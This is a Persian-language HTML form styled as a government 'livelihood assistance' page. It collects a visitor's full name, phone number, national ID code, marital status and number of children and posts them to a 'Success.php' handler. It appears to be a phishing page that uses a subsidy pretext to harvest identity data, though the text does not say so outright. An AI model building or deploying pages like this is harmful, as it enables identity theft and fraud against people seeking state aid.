
    <!doctype html>
<html lang="fa" dir="rtl">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">

    <link rel="stylesheet" href="../css/app.css">
</head>
<body>
     <style>
 @font-face {
    font-family: myFont;
    src: url('../Fonts/Shabnam-FD.ttf');
}
h2 {
    font-family: myFont;
}
</style>
<style>
    input::-webkit-outer-spin-button,
input::-webkit-inner-spin-button {
  -webkit-appearance: none;
  margin: 0;
}

    .hidden {
      display: none;
    }
  </style>
<div class="container-fluid auth-page p-md-0">
    <div class="row g-0 vh-100">
        <div class="col-lg-8 col-md-6 d-none d-md-flex align-items-center justify-content-center bg-white">
        </div>
        <div class="col-lg-4 col-md-6">
            <div class="h-100 d-flex align-items-center p-2 p-md-5">
                    <form action="Success.php" method="post" class="flex-grow-1"><input type="hidden" name="_token" value="pcIpDz3LnGld8A06RdbY5D2vm7BPO6D9tfilrDwg">  
                    <center>
                    <img class="login-page__logo"
         id="loginPageLogo"
         width="200" height="200"
         src="../IMG/logo.png"
         alt="" />
</img></center>  
<br>
                    <h2 class="text-center mb-5">کمک معیشتی دولت</h2>
        <div class="mb-3">
            <label for="name">نام و نام خانوادگی</label>
            <input type="text" id="name" class="form-control mt-2 shadow-sm" name="name" placeholder="نام کامل خود را وارد کنید" value="">
                    </div>
                            <div class="mb-3">
            <label for="number">شماره تلفن</label>
            <input type="number" id="number" class="form-control mt-2 shadow-sm" name="number" placeholder="09120000000" value="">
                    </div>
                    
        <div class="mb-3">
            <label for="cm">کد ملی</label>
            <input type="number" id="cm" class="form-control mt-2 shadow-sm" name="cm" placeholder="کد ملی خود را وارد کنید" value="">
                    </div>
        <div class="mb-3">
            <label for="cm">وضعیت تاهل:    </label>
            <label>
            <input type="radio" name="choice" value="yes"> خیر
                </label>
                <label>
                    <input type="radio" name="choice" value="no"> بله
                </label>
                    </div>
            <div id="inputContainer" class="hidden">
                <label for="cm">تعداد فرزند</label>
                <input type="number" name="frznd" id="frznd" class="form-control mt-2 shadow-sm" name="cm" placeholder="تعداد فرزندان خود را وارد کنید" value="">
            </div>
        <button type="submit" class="btn btn-primary w-100 mt-2">پیگیری</button>
    </form>
            </div>
        </div>
    </div>
</div>
<script>
    const inputContainer = document.getElementById("inputContainer");
    const radioButtons = document.getElementsByName("choice");
    
    for (let i = 0; i < radioButtons.length; i++) {
      radioButtons[i].addEventListener("change", function() {
        if (this.value === "yes") {
          inputContainer.classList.add("hidden");
          
        } else {
          inputContainer.classList.remove("hidden"); 
        }
      });
    }
  </script>
</body>
</html>
